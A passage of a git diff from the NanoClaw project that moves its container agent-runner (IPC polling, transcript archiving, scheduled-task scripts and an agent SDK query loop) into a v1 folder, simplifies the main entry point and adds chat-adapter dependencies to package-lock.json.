minute: '2-digit', - hour12: true, - }); - - const lines: string[] = []; - lines.push(`# ${title || 'Conversation'}`); - lines.push(''); - lines.push(`Archived: ${formatDateTime(now)}`); - lines.push(''); - lines.push('---'); - lines.push(''); - - for (const msg of messages) { - const sender = msg.role === 'user' ? 'User' : assistantName || 'Assistant'; - const content = - msg.content.length > 2000 - ? msg.content.slice(0, 2000) + '...' - : msg.content; - lines.push(`**${sender}**: ${content}`); - lines.push(''); - } - - return lines.join('\n'); -} - -/** - * Check for _close sentinel. - */ -function shouldClose(): boolean { - if (fs.existsSync(IPC_INPUT_CLOSE_SENTINEL)) { - try { - fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); - } catch { - /* ignore */ - } - return true; - } - return false; -} - -/** - * Drain all pending IPC input messages. - * Returns messages found, or empty array. - */ -function drainIpcInput(): string[] { - try { - fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); - const files = fs - .readdirSync(IPC_INPUT_DIR) - .filter((f) => f.endsWith('.json')) - .sort(); - - const messages: string[] = []; - for (const file of files) { - const filePath = path.join(IPC_INPUT_DIR, file); - try { - const data = JSON.parse(fs.readFileSync(filePath, 'utf-8')); - fs.unlinkSync(filePath); - if (data.type === 'message' && data.text) { - messages.push(data.text); - } - } catch (err) { - log( - `Failed to process input file ${file}: ${err instanceof Error ? err.message : String(err)}`, - ); - try { - fs.unlinkSync(filePath); - } catch { - /* ignore */ - } - } - } - return messages; - } catch (err) { - log(`IPC drain error: ${err instanceof Error ? err.message : String(err)}`); - return []; - } -} - -/** - * Wait for a new IPC message or _close sentinel. - * Returns the messages as a single string, or null if _close. - */ -function waitForIpcMessage(): Promise { - return new Promise((resolve) => { - const poll = () => { - if (shouldClose()) { - resolve(null); - return; - } - const messages = drainIpcInput(); - if (messages.length > 0) { - resolve(messages.join('\n')); - return; - } - setTimeout(poll, IPC_POLL_MS); - }; - poll(); - }); -} - -/** - * Run a single query and stream results via writeOutput. - * Uses MessageStream (AsyncIterable) to keep isSingleUserTurn=false, - * allowing agent teams subagents to run to completion. - * Also pipes IPC messages into the stream during the query. - */ -async function runQuery( - prompt: string, - sessionId: string | undefined, - mcpServerPath: string, - containerInput: ContainerInput, - sdkEnv: Record, - resumeAt?: string, -): Promise<{ - newSessionId?: string; - lastAssistantUuid?: string; - closedDuringQuery: boolean; -}> { - const stream = new MessageStream(); - stream.push(prompt); - - // Poll IPC for follow-up messages and _close sentinel during the query - let ipcPolling = true; - let closedDuringQuery = false; - const pollIpcDuringQuery = () => { - if (!ipcPolling) return; - if (shouldClose()) { - log('Close sentinel detected during query, ending stream'); - closedDuringQuery = true; - stream.end(); - ipcPolling = false; - return; - } - const messages = drainIpcInput(); - for (const text of messages) { - log(`Piping IPC message into active query (${text.length} chars)`); - stream.push(text); - } - setTimeout(pollIpcDuringQuery, IPC_POLL_MS); - }; - setTimeout(pollIpcDuringQuery, IPC_POLL_MS); - - let newSessionId: string | undefined; - let lastAssistantUuid: string | undefined; - let messageCount = 0; - let resultCount = 0; - - // Load global CLAUDE.md as additional system context (shared across all groups) - const globalClaudeMdPath = '/workspace/global/CLAUDE.md'; - let globalClaudeMd: string | undefined; - if (!containerInput.isMain && fs.existsSync(globalClaudeMdPath)) { - globalClaudeMd = fs.readFileSync(globalClaudeMdPath, 'utf-8'); + // Load global CLAUDE.md as additional system context + let systemPrompt: string | undefined; + if (fs.existsSync(GLOBAL_CLAUDE_MD)) { + systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); + log('Loaded global CLAUDE.md'); } // Discover additional directories mounted at /workspace/extra/* - // These are passed to the SDK so their CLAUDE.md files are loaded automatically - const extraDirs: string[] = []; + const additionalDirectories: string[] = []; const extraBase = '/workspace/extra'; if (fs.existsSync(extraBase)) { for (const entry of fs.readdirSync(extraBase)) { const fullPath = path.join(extraBase, entry); if (fs.statSync(fullPath).isDirectory()) { - extraDirs.push(fullPath); + additionalDirectories.push(fullPath); } } - } - if (extraDirs.length > 0) { - log(`Additional directories: ${extraDirs.join(', ')}`); - } - - for await (const message of query({ - prompt: stream, - options: { - cwd: '/workspace/group', - additionalDirectories: extraDirs.length > 0 ? extraDirs : undefined, - resume: sessionId, - resumeSessionAt: resumeAt, - systemPrompt: globalClaudeMd - ? { - type: 'preset' as const, - preset: 'claude_code' as const, - append: globalClaudeMd, - } - : undefined, - allowedTools: [ - 'Bash', - 'Read', - 'Write', - 'Edit', - 'Glob', - 'Grep', - 'WebSearch', - 'WebFetch', - 'Task', - 'TaskOutput', - 'TaskStop', - 'TeamCreate', - 'TeamDelete', - 'SendMessage', - 'TodoWrite', - 'ToolSearch', - 'Skill', - 'NotebookEdit', - 'mcp__nanoclaw__*', - ], - env: sdkEnv, - permissionMode: 'bypassPermissions', - allowDangerouslySkipPermissions: true, - settingSources: ['project', 'user'], - mcpServers: { - nanoclaw: { - command: 'node', - args: [mcpServerPath], - env: { - NANOCLAW_CHAT_JID: containerInput.chatJid, - NANOCLAW_GROUP_FOLDER: containerInput.groupFolder, - NANOCLAW_IS_MAIN: containerInput.isMain ? '1' : '0', - }, - }, - }, - hooks: { - PreCompact: [ - { hooks: [createPreCompactHook(containerInput.assistantName)] }, - ], - }, - }, - })) { - messageCount++; - const msgType = - message.type === 'system' - ? `system/${(message as { subtype?: string }).subtype}` - : message.type; - log(`[msg #${messageCount}] type=${msgType}`); - - if (message.type === 'assistant' && 'uuid' in message) { - lastAssistantUuid = (message as { uuid: string }).uuid; - } - - if (message.type === 'system' && message.subtype === 'init') { - newSessionId = message.session_id; - log(`Session initialized: ${newSessionId}`); - } - - if ( - message.type === 'system' && - (message as { subtype?: string }).subtype === 'task_notification' - ) { - const tn = message as { - task_id: string; - status: string; - summary: string; - }; - log( - `Task notification: task=${tn.task_id} status=${tn.status} summary=${tn.summary}`, - ); - } - - if (message.type === 'result') { - resultCount++; - const textResult = - 'result' in message ? (message as { result?: string }).result : null; - log( - `Result #${resultCount}: subtype=${message.subtype}${textResult ? ` text=${textResult.slice(0, 200)}` : ''}`, - ); - writeOutput({ - status: 'success', - result: textResult || null, - newSessionId, - }); + if (additionalDirectories.length > 0) { + log(`Additional directories: ${additionalDirectories.join(', ')}`); } } - ipcPolling = false; - log( - `Query done. Messages: ${messageCount}, results: ${resultCount}, lastAssistantUuid: ${lastAssistantUuid || 'none'}, closedDuringQuery: ${closedDuringQuery}`, - ); - return { newSessionId, lastAssistantUuid, closedDuringQuery }; -} + // MCP server path + const __dirname = path.dirname(fileURLToPath(import.meta.url)); + const mcpServerPath = path.join(__dirname, 'mcp-tools', 'index.js'); -interface ScriptResult { - wakeAgent: boolean; - data?: unknown; -} - -const SCRIPT_TIMEOUT_MS = 30_000; - -async function runScript(script: string): Promise { - const scriptPath = '/tmp/task-script.sh'; - fs.writeFileSync(scriptPath, script, { mode: 0o755 }); - - return new Promise((resolve) => { - execFile( - 'bash', - [scriptPath], - { - timeout: SCRIPT_TIMEOUT_MS, - maxBuffer: 1024 * 1024, - env: process.env, - }, - (error, stdout, stderr) => { - if (stderr) { - log(`Script stderr: ${stderr.slice(0, 500)}`); - } - - if (error) { - log(`Script error: ${error.message}`); - return resolve(null); - } - - // Parse last non-empty line of stdout as JSON - const lines = stdout.trim().split('\n'); - const lastLine = lines[lines.length - 1]; - if (!lastLine) { - log('Script produced no output'); - return resolve(null); - } - - try { - const result = JSON.parse(lastLine); - if (typeof result.wakeAgent !== 'boolean') { - log( - `Script output missing wakeAgent boolean: ${lastLine.slice(0, 200)}`, - ); - return resolve(null); - } - resolve(result as ScriptResult); - } catch { - log(`Script output is not valid JSON: ${lastLine.slice(0, 200)}`); - resolve(null); - } - }, - ); - }); -} - -async function main(): Promise { - let containerInput: ContainerInput; - - try { - const stdinData = await readStdin(); - containerInput = JSON.parse(stdinData); - try { - fs.unlinkSync('/tmp/input.json'); - } catch { - /* may not exist */ - } - log(`Received input for group: ${containerInput.groupFolder}`); - } catch (err) { - writeOutput({ - status: 'error', - result: null, - error: `Failed to parse input: ${err instanceof Error ? err.message : String(err)}`, - }); - process.exit(1); - } - - // Credentials are injected by the host's credential proxy via ANTHROPIC_BASE_URL. - // No real secrets exist in the container environment. - const sdkEnv: Record = { + // SDK env + const env: Record = { ...process.env, CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', }; - const __dirname = path.dirname(fileURLToPath(import.meta.url)); - const mcpServerPath = path.join(__dirname, 'ipc-mcp-stdio.js'); - - let sessionId = containerInput.sessionId; - fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); - - // Clean up stale _close sentinel from previous container runs - try { - fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); - } catch { - /* ignore */ - } - - // Build initial prompt (drain any pending IPC messages too) - let prompt = containerInput.prompt; - if (containerInput.isScheduledTask) { - prompt = `[SCHEDULED TASK - The following message was sent automatically and is not coming directly from the user or group.]\n\n${prompt}`; - } - const pending = drainIpcInput(); - if (pending.length > 0) { - log(`Draining ${pending.length} pending IPC messages into initial prompt`); - prompt += '\n' + pending.join('\n'); - } - - // Script phase: run script before waking agent - if (containerInput.script && containerInput.isScheduledTask) { - log('Running task script...'); - const scriptResult = await runScript(containerInput.script); - - if (!scriptResult || !scriptResult.wakeAgent) { - const reason = scriptResult - ? 'wakeAgent=false' - : 'script error/no output'; - log(`Script decided not to wake agent: ${reason}`); - writeOutput({ - status: 'success', - result: null, - }); - return; - } - - // Script says wake agent — enrich prompt with script data - log(`Script wakeAgent=true, enriching prompt with data`); - prompt = `[SCHEDULED TASK]\n\nScript output:\n${JSON.stringify(scriptResult.data, null, 2)}\n\nInstructions:\n${containerInput.prompt}`; - } - - // Query loop: run query → wait for IPC message → run new query → repeat - let resumeAt: string | undefined; - try { - while (true) { - log( - `Starting query (session: ${sessionId || 'new'}, resumeAt: ${resumeAt || 'latest'})...`, - ); - - const queryResult = await runQuery( - prompt, - sessionId, - mcpServerPath, - containerInput, - sdkEnv, - resumeAt, - ); - if (queryResult.newSessionId) { - sessionId = queryResult.newSessionId; - } - if (queryResult.lastAssistantUuid) { - resumeAt = queryResult.lastAssistantUuid; - } - - // If _close was consumed during the query, exit immediately. - // Don't emit a session-update marker (it would reset the host's - // idle timer and cause a 30-min delay before the next _close). - if (queryResult.closedDuringQuery) { - log('Close sentinel consumed during query, exiting'); - break; - } - - // Emit session update so host can track it - writeOutput({ status: 'success', result: null, newSessionId: sessionId }); - - log('Query ended, waiting for next IPC message...'); - - // Wait for the next message or _close sentinel - const nextMessage = await waitForIpcMessage(); - if (nextMessage === null) { - log('Close sentinel received, exiting'); - break; - } - - log(`Got new message (${nextMessage.length} chars), starting new query`); - prompt = nextMessage; - } - } catch (err) { - const errorMessage = err instanceof Error ? err.message : String(err); - log(`Agent error: ${errorMessage}`); - writeOutput({ - status: 'error', - result: null, - newSessionId: sessionId, - error: errorMessage, - }); - process.exit(1); - } + await runPollLoop({ + provider, + cwd: CWD, + mcpServers: { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', + }, + }, + }, + systemPrompt, + env, + additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, + }); } -main(); +main().catch((err) => { + log(`Fatal error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/v1/index.ts b/container/agent-runner/src/v1/index.ts new file mode 100644 index 0000000..7e739c7 --- /dev/null +++ b/container/agent-runner/src/v1/index.ts @@ -0,0 +1,736 @@ +/** + * NanoClaw Agent Runner + * Runs inside a container, receives config via stdin, outputs result to stdout + * + * Input protocol: + * Stdin: Full ContainerInput JSON (read until EOF, like before) + * IPC: Follow-up messages written as JSON files to /workspace/ipc/input/ + * Files: {type:"message", text:"..."}.json — polled and consumed + * Sentinel: /workspace/ipc/input/_close — signals session end + * + * Stdout protocol: + * Each result is wrapped in OUTPUT_START_MARKER / OUTPUT_END_MARKER pairs. + * Multiple results may be emitted (one per agent teams result). + * Final marker after loop ends signals completion. + */ + +import fs from 'fs'; +import path from 'path'; +import { execFile } from 'child_process'; +import { + query, + HookCallback, + PreCompactHookInput, +} from '@anthropic-ai/claude-agent-sdk'; +import { fileURLToPath } from 'url'; + +interface ContainerInput { + prompt: string; + sessionId?: string; + groupFolder: string; + chatJid: string; + isMain: boolean; + isScheduledTask?: boolean; + assistantName?: string; + script?: string; +} + +interface ContainerOutput { + status: 'success' | 'error'; + result: string | null; + newSessionId?: string; + error?: string; +} + +interface SessionEntry { + sessionId: string; + fullPath: string; + summary: string; + firstPrompt: string; +} + +interface SessionsIndex { + entries: SessionEntry[]; +} + +interface SDKUserMessage { + type: 'user'; + message: { role: 'user'; content: string }; + parent_tool_use_id: null; + session_id: string; +} + +const IPC_INPUT_DIR = '/workspace/ipc/input'; +const IPC_INPUT_CLOSE_SENTINEL = path.join(IPC_INPUT_DIR, '_close'); +const IPC_POLL_MS = 500; + +/** + * Push-based async iterable for streaming user messages to the SDK. + * Keeps the iterable alive until end() is called, preventing isSingleUserTurn. + */ +class MessageStream { + private queue: SDKUserMessage[] = []; + private waiting: (() => void) | null = null; + private done = false; + + push(text: string): void { + this.queue.push({ + type: 'user', + message: { role: 'user', content: text }, + parent_tool_use_id: null, + session_id: '', + }); + this.waiting?.(); + } + + end(): void { + this.done = true; + this.waiting?.(); + } + + async *[Symbol.asyncIterator](): AsyncGenerator { + while (true) { + while (this.queue.length > 0) { + yield this.queue.shift()!; + } + if (this.done) return; + await new Promise((r) => { + this.waiting = r; + }); + this.waiting = null; + } + } +} + +async function readStdin(): Promise { + return new Promise((resolve, reject) => { + let data = ''; + process.stdin.setEncoding('utf8'); + process.stdin.on('data', (chunk) => { + data += chunk; + }); + process.stdin.on('end', () => resolve(data)); + process.stdin.on('error', reject); + }); +} + +const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; +const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; + +function writeOutput(output: ContainerOutput): void { + console.log(OUTPUT_START_MARKER); + console.log(JSON.stringify(output)); + console.log(OUTPUT_END_MARKER); +} + +function log(message: string): void { + console.error(`[agent-runner] ${message}`); +} + +function getSessionSummary( + sessionId: string, + transcriptPath: string, +): string | null { + const projectDir = path.dirname(transcriptPath); + const indexPath = path.join(projectDir, 'sessions-index.json'); + + if (!fs.existsSync(indexPath)) { + log(`Sessions index not found at ${indexPath}`); + return null; + } + + try { + const index: SessionsIndex = JSON.parse( + fs.readFileSync(indexPath, 'utf-8'), + ); + const entry = index.entries.find((e) => e.sessionId === sessionId); + if (entry?.summary) { + return entry.summary; + } + } catch (err) { + log( + `Failed to read sessions index: ${err instanceof Error ? err.message : String(err)}`, + ); + } + + return null; +} + +/** + * Archive the full transcript to conversations/ before compaction. + */ +function createPreCompactHook(assistantName?: string): HookCallback { + return async (input, _toolUseId, _context) => { + const preCompact = input as PreCompactHookInput; + const transcriptPath = preCompact.transcript_path; + const sessionId = preCompact.session_id; + + if (!transcriptPath || !fs.existsSync(transcriptPath)) { + log('No transcript found for archiving'); + return {}; + } + + try { + const content = fs.readFileSync(transcriptPath, 'utf-8'); + const messages = parseTranscript(content); + + if (messages.length === 0) { + log('No messages to archive'); + return {}; + } + + const summary = getSessionSummary(sessionId, transcriptPath); + const name = summary ? sanitizeFilename(summary) : generateFallbackName(); + + const conversationsDir = '/workspace/group/conversations'; + fs.mkdirSync(conversationsDir, { recursive: true }); + + const date = new Date().toISOString().split('T')[0]; + const filename = `${date}-${name}.md`; + const filePath = path.join(conversationsDir, filename); + + const markdown = formatTranscriptMarkdown( + messages, + summary, + assistantName, + ); + fs.writeFileSync(filePath, markdown); + + log(`Archived conversation to ${filePath}`); + } catch (err) { + log( + `Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`, + ); + } + + return {}; + }; +} + +function sanitizeFilename(summary: string): string { + return summary + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') + .slice(0, 50); +} + +function generateFallbackName(): string { + const time = new Date(); + return `conversation-${time.getHours().toString().padStart(2, '0')}${time.getMinutes().toString().padStart(2, '0')}`; +} + +interface ParsedMessage { + role: 'user' | 'assistant'; + content: string; +} + +function parseTranscript(content: string): ParsedMessage[] { + const messages: ParsedMessage[] = []; + + for (const line of content.split('\n')) { + if (!line.trim()) continue; + try { + const entry = JSON.parse(line); + if (entry.type === 'user' && entry.message?.content) { + const text = + typeof entry.message.content === 'string' + ? entry.message.content + : entry.message.content + .map((c: { text?: string }) => c.text || '') + .join(''); + if (text) messages.push({ role: 'user', content: text }); + } else if (entry.type === 'assistant' && entry.message?.content) { + const textParts = entry.message.content + .filter((c: { type: string }) => c.type === 'text') + .map((c: { text: string }) => c.text); + const text = textParts.join(''); + if (text) messages.push({ role: 'assistant', content: text }); + } + } catch {} + } + + return messages; +} + +function formatTranscriptMarkdown( + messages: ParsedMessage[], + title?: string | null, + assistantName?: string, +): string { + const now = new Date(); + const formatDateTime = (d: Date) => + d.toLocaleString('en-US', { + month: 'short', + day: 'numeric', + hour: 'numeric', + minute: '2-digit', + hour12: true, + }); + + const lines: string[] = []; + lines.push(`# ${title || 'Conversation'}`); + lines.push(''); + lines.push(`Archived: ${formatDateTime(now)}`); + lines.push(''); + lines.push('---'); + lines.push(''); + + for (const msg of messages) { + const sender = msg.role === 'user' ? 'User' : assistantName || 'Assistant'; + const content = + msg.content.length > 2000 + ? msg.content.slice(0, 2000) + '...' + : msg.content; + lines.push(`**${sender}**: ${content}`); + lines.push(''); + } + + return lines.join('\n'); +} + +/** + * Check for _close sentinel. + */ +function shouldClose(): boolean { + if (fs.existsSync(IPC_INPUT_CLOSE_SENTINEL)) { + try { + fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); + } catch { + /* ignore */ + } + return true; + } + return false; +} + +/** + * Drain all pending IPC input messages. + * Returns messages found, or empty array. + */ +function drainIpcInput(): string[] { + try { + fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); + const files = fs + .readdirSync(IPC_INPUT_DIR) + .filter((f) => f.endsWith('.json')) + .sort(); + + const messages: string[] = []; + for (const file of files) { + const filePath = path.join(IPC_INPUT_DIR, file); + try { + const data = JSON.parse(fs.readFileSync(filePath, 'utf-8')); + fs.unlinkSync(filePath); + if (data.type === 'message' && data.text) { + messages.push(data.text); + } + } catch (err) { + log( + `Failed to process input file ${file}: ${err instanceof Error ? err.message : String(err)}`, + ); + try { + fs.unlinkSync(filePath); + } catch { + /* ignore */ + } + } + } + return messages; + } catch (err) { + log(`IPC drain error: ${err instanceof Error ? err.message : String(err)}`); + return []; + } +} + +/** + * Wait for a new IPC message or _close sentinel. + * Returns the messages as a single string, or null if _close. + */ +function waitForIpcMessage(): Promise { + return new Promise((resolve) => { + const poll = () => { + if (shouldClose()) { + resolve(null); + return; + } + const messages = drainIpcInput(); + if (messages.length > 0) { + resolve(messages.join('\n')); + return; + } + setTimeout(poll, IPC_POLL_MS); + }; + poll(); + }); +} + +/** + * Run a single query and stream results via writeOutput. + * Uses MessageStream (AsyncIterable) to keep isSingleUserTurn=false, + * allowing agent teams subagents to run to completion. + * Also pipes IPC messages into the stream during the query. + */ +async function runQuery( + prompt: string, + sessionId: string | undefined, + mcpServerPath: string, + containerInput: ContainerInput, + sdkEnv: Record, + resumeAt?: string, +): Promise<{ + newSessionId?: string; + lastAssistantUuid?: string; + closedDuringQuery: boolean; +}> { + const stream = new MessageStream(); + stream.push(prompt); + + // Poll IPC for follow-up messages and _close sentinel during the query + let ipcPolling = true; + let closedDuringQuery = false; + const pollIpcDuringQuery = () => { + if (!ipcPolling) return; + if (shouldClose()) { + log('Close sentinel detected during query, ending stream'); + closedDuringQuery = true; + stream.end(); + ipcPolling = false; + return; + } + const messages = drainIpcInput(); + for (const text of messages) { + log(`Piping IPC message into active query (${text.length} chars)`); + stream.push(text); + } + setTimeout(pollIpcDuringQuery, IPC_POLL_MS); + }; + setTimeout(pollIpcDuringQuery, IPC_POLL_MS); + + let newSessionId: string | undefined; + let lastAssistantUuid: string | undefined; + let messageCount = 0; + let resultCount = 0; + + // Load global CLAUDE.md as additional system context (shared across all groups) + const globalClaudeMdPath = '/workspace/global/CLAUDE.md'; + let globalClaudeMd: string | undefined; + if (!containerInput.isMain && fs.existsSync(globalClaudeMdPath)) { + globalClaudeMd = fs.readFileSync(globalClaudeMdPath, 'utf-8'); + } + + // Discover additional directories mounted at /workspace/extra/* + // These are passed to the SDK so their CLAUDE.md files are loaded automatically + const extraDirs: string[] = []; + const extraBase = '/workspace/extra'; + if (fs.existsSync(extraBase)) { + for (const entry of fs.readdirSync(extraBase)) { + const fullPath = path.join(extraBase, entry); + if (fs.statSync(fullPath).isDirectory()) { + extraDirs.push(fullPath); + } + } + } + if (extraDirs.length > 0) { + log(`Additional directories: ${extraDirs.join(', ')}`); + } + + for await (const message of query({ + prompt: stream, + options: { + cwd: '/workspace/group', + additionalDirectories: extraDirs.length > 0 ? extraDirs : undefined, + resume: sessionId, + resumeSessionAt: resumeAt, + systemPrompt: globalClaudeMd + ? { + type: 'preset' as const, + preset: 'claude_code' as const, + append: globalClaudeMd, + } + : undefined, + allowedTools: [ + 'Bash', + 'Read', + 'Write', + 'Edit', + 'Glob', + 'Grep', + 'WebSearch', + 'WebFetch', + 'Task', + 'TaskOutput', + 'TaskStop', + 'TeamCreate', + 'TeamDelete', + 'SendMessage', + 'TodoWrite', + 'ToolSearch', + 'Skill', + 'NotebookEdit', + 'mcp__nanoclaw__*', + ], + env: sdkEnv, + permissionMode: 'bypassPermissions', + allowDangerouslySkipPermissions: true, + settingSources: ['project', 'user'], + mcpServers: { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + NANOCLAW_CHAT_JID: containerInput.chatJid, + NANOCLAW_GROUP_FOLDER: containerInput.groupFolder, + NANOCLAW_IS_MAIN: containerInput.isMain ? '1' : '0', + }, + }, + }, + hooks: { + PreCompact: [ + { hooks: [createPreCompactHook(containerInput.assistantName)] }, + ], + }, + }, + })) { + messageCount++; + const msgType = + message.type === 'system' + ? `system/${(message as { subtype?: string }).subtype}` + : message.type; + log(`[msg #${messageCount}] type=${msgType}`); + + if (message.type === 'assistant' && 'uuid' in message) { + lastAssistantUuid = (message as { uuid: string }).uuid; + } + + if (message.type === 'system' && message.subtype === 'init') { + newSessionId = message.session_id; + log(`Session initialized: ${newSessionId}`); + } + + if ( + message.type === 'system' && + (message as { subtype?: string }).subtype === 'task_notification' + ) { + const tn = message as { + task_id: string; + status: string; + summary: string; + }; + log( + `Task notification: task=${tn.task_id} status=${tn.status} summary=${tn.summary}`, + ); + } + + if (message.type === 'result') { + resultCount++; + const textResult = + 'result' in message ? (message as { result?: string }).result : null; + log( + `Result #${resultCount}: subtype=${message.subtype}${textResult ? ` text=${textResult.slice(0, 200)}` : ''}`, + ); + writeOutput({ + status: 'success', + result: textResult || null, + newSessionId, + }); + } + } + + ipcPolling = false; + log( + `Query done. Messages: ${messageCount}, results: ${resultCount}, lastAssistantUuid: ${lastAssistantUuid || 'none'}, closedDuringQuery: ${closedDuringQuery}`, + ); + return { newSessionId, lastAssistantUuid, closedDuringQuery }; +} + +interface ScriptResult { + wakeAgent: boolean; + data?: unknown; +} + +const SCRIPT_TIMEOUT_MS = 30_000; + +async function runScript(script: string): Promise { + const scriptPath = '/tmp/task-script.sh'; + fs.writeFileSync(scriptPath, script, { mode: 0o755 }); + + return new Promise((resolve) => { + execFile( + 'bash', + [scriptPath], + { + timeout: SCRIPT_TIMEOUT_MS, + maxBuffer: 1024 * 1024, + env: process.env, + }, + (error, stdout, stderr) => { + if (stderr) { + log(`Script stderr: ${stderr.slice(0, 500)}`); + } + + if (error) { + log(`Script error: ${error.message}`); + return resolve(null); + } + + // Parse last non-empty line of stdout as JSON + const lines = stdout.trim().split('\n'); + const lastLine = lines[lines.length - 1]; + if (!lastLine) { + log('Script produced no output'); + return resolve(null); + } + + try { + const result = JSON.parse(lastLine); + if (typeof result.wakeAgent !== 'boolean') { + log( + `Script output missing wakeAgent boolean: ${lastLine.slice(0, 200)}`, + ); + return resolve(null); + } + resolve(result as ScriptResult); + } catch { + log(`Script output is not valid JSON: ${lastLine.slice(0, 200)}`); + resolve(null); + } + }, + ); + }); +} + +async function main(): Promise { + let containerInput: ContainerInput; + + try { + const stdinData = await readStdin(); + containerInput = JSON.parse(stdinData); + try { + fs.unlinkSync('/tmp/input.json'); + } catch { + /* may not exist */ + } + log(`Received input for group: ${containerInput.groupFolder}`); + } catch (err) { + writeOutput({ + status: 'error', + result: null, + error: `Failed to parse input: ${err instanceof Error ? err.message : String(err)}`, + }); + process.exit(1); + } + + // Credentials are injected by the host's credential proxy via ANTHROPIC_BASE_URL. + // No real secrets exist in the container environment. + const sdkEnv: Record = { + ...process.env, + CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', + }; + + const __dirname = path.dirname(fileURLToPath(import.meta.url)); + const mcpServerPath = path.join(__dirname, 'ipc-mcp-stdio.js'); + + let sessionId = containerInput.sessionId; + fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); + + // Clean up stale _close sentinel from previous container runs + try { + fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); + } catch { + /* ignore */ + } + + // Build initial prompt (drain any pending IPC messages too) + let prompt = containerInput.prompt; + if (containerInput.isScheduledTask) { + prompt = `[SCHEDULED TASK - The following message was sent automatically and is not coming directly from the user or group.]\n\n${prompt}`; + } + const pending = drainIpcInput(); + if (pending.length > 0) { + log(`Draining ${pending.length} pending IPC messages into initial prompt`); + prompt += '\n' + pending.join('\n'); + } + + // Script phase: run script before waking agent + if (containerInput.script && containerInput.isScheduledTask) { + log('Running task script...'); + const scriptResult = await runScript(containerInput.script); + + if (!scriptResult || !scriptResult.wakeAgent) { + const reason = scriptResult + ? 'wakeAgent=false' + : 'script error/no output'; + log(`Script decided not to wake agent: ${reason}`); + writeOutput({ + status: 'success', + result: null, + }); + return; + } + + // Script says wake agent — enrich prompt with script data + log(`Script wakeAgent=true, enriching prompt with data`); + prompt = `[SCHEDULED TASK]\n\nScript output:\n${JSON.stringify(scriptResult.data, null, 2)}\n\nInstructions:\n${containerInput.prompt}`; + } + + // Query loop: run query → wait for IPC message → run new query → repeat + let resumeAt: string | undefined; + try { + while (true) { + log( + `Starting query (session: ${sessionId || 'new'}, resumeAt: ${resumeAt || 'latest'})...`, + ); + + const queryResult = await runQuery( + prompt, + sessionId, + mcpServerPath, + containerInput, + sdkEnv, + resumeAt, + ); + if (queryResult.newSessionId) { + sessionId = queryResult.newSessionId; + } + if (queryResult.lastAssistantUuid) { + resumeAt = queryResult.lastAssistantUuid; + } + + // If _close was consumed during the query, exit immediately. + // Don't emit a session-update marker (it would reset the host's + // idle timer and cause a 30-min delay before the next _close). + if (queryResult.closedDuringQuery) { + log('Close sentinel consumed during query, exiting'); + break; + } + + // Emit session update so host can track it + writeOutput({ status: 'success', result: null, newSessionId: sessionId }); + + log('Query ended, waiting for next IPC message...'); + + // Wait for the next message or _close sentinel + const nextMessage = await waitForIpcMessage(); + if (nextMessage === null) { + log('Close sentinel received, exiting'); + break; + } + + log(`Got new message (${nextMessage.length} chars), starting new query`); + prompt = nextMessage; + } + } catch (err) { + const errorMessage = err instanceof Error ? err.message : String(err); + log(`Agent error: ${errorMessage}`); + writeOutput({ + status: 'error', + result: null, + newSessionId: sessionId, + error: errorMessage, + }); + process.exit(1); + } +} + +main(); diff --git a/container/agent-runner/src/ipc-mcp-stdio.ts b/container/agent-runner/src/v1/ipc-mcp-stdio.ts similarity index 100% rename from container/agent-runner/src/ipc-mcp-stdio.ts rename to container/agent-runner/src/v1/ipc-mcp-stdio.ts diff --git a/container/agent-runner/src/mcp-tools.ts b/container/agent-runner/src/v1/mcp-tools.ts similarity index 100% rename from container/agent-runner/src/mcp-tools.ts rename to container/agent-runner/src/v1/mcp-tools.ts diff --git a/package-lock.json b/package-lock.json index 97b055e..6a1e28c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,11 +8,22 @@ "name": "nanoclaw", "version": "1.2.52", "dependencies": { + "@beeper/chat-adapter-matrix": "^0.2.0", + "@bitbasti/chat-adapter-webex": "^0.1.0", "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/gchat": "^4.24.0", + "@chat-adapter/github": "^4.24.0", + "@chat-adapter/linear": "^4.24.0", + "@chat-adapter/slack": "^4.24.0", "@chat-adapter/state-memory": "^4.24.0", + "@chat-adapter/teams": "^4.24.0", + "@chat-adapter/telegram": "^4.24.0", + "@chat-adapter/whatsapp": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", + "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", + "chat-adapter-imessage": "^0.1.1", "cron-parser": "5.5.0" }, "devDependencies": { @@ -33,6 +44,67 @@ "node": ">=20" } }, + "node_modules/@azure/msal-common": { + "version": "15.17.0", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-15.17.0.tgz", + "integrity": "sha512-VQ5/gTLFADkwue+FohVuCqlzFPUq4xSrX8jeZe+iwZuY6moliNC8xt86qPVNYdtbQfELDf2Nu6LI+demFPHGgw==", + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@azure/msal-node": { + "version": "3.8.10", + "resolved": "https://registry.npmjs.org/@azure/msal-node/-/msal-node-3.8.10.tgz", + "integrity": "sha512-0Hz7Kx4hs70KZWep/Rd7aw/qOLUF92wUOhn7ZsOuB5xNR/06NL1E2RAI9+UKH1FtvN8nD6mFjH7UKSjv6vOWvQ==", + "license": "MIT", + "dependencies": { + "@azure/msal-common": 